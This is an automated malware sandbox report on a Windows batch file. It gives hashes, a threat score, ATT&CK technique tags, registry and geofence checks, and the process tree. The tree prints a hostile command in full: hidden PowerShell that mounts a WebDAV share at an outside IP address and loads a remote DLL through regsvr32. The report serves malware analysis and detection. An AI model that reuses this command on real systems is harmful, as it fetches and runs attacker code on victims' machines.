9b13ab8217a4a958884598c9c244aec78535dcd524d692e8350c208de408e0fd

Analysis

max time kernel
100s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 10:26

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General

Target

9845109302455514302.bat
Size

14KB
MD5

2e06492f783c5a5235548a19e403a7db
SHA1

b83c42f9652afaa2e0febb0d60ca83dedaa5b854
SHA256

9b13ab8217a4a958884598c9c244aec78535dcd524d692e8350c208de408e0fd
SHA512

e5d3553d90a9200f20e89083de95517ee10390dce7be666c4d74714f031dcb51462c1a2fbd6d150d034d911c7f0afdea2c2d09093c19cadb37fde89d9ad223e7
SSDEEP

384:1DGF9yFaXQsS+uwz74YbRn+AFAW/SDw5brzeB6GQ:1QKS6+ueFbR3Aiiw5bmoGQ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2092	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2092	powershell.exe
2092	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2232	wordpad.exe
2232	wordpad.exe
2232	wordpad.exe
2232	wordpad.exe
2232	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 728 wrote to memory of 2232	728	cmd.exe	85
PID 728 wrote to memory of 2232	728	cmd.exe	85
PID 728 wrote to memory of 2092	728	cmd.exe	87
PID 728 wrote to memory of 2092	728	cmd.exe	87
PID 2092 wrote to memory of 1828	2092	powershell.exe	89
PID 2092 wrote to memory of 1828	2092	powershell.exe	89
PID 2092 wrote to memory of 2744	2092	powershell.exe	90
PID 2092 wrote to memory of 2744	2092	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\9845109302455514302.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:728
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:1828
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\1207943111197.dll
    3⤵
    PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hmsimdir.btc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2092-9-0x00000180B95B0000-0x00000180B95D2000-memory.dmp

Filesize
136KB

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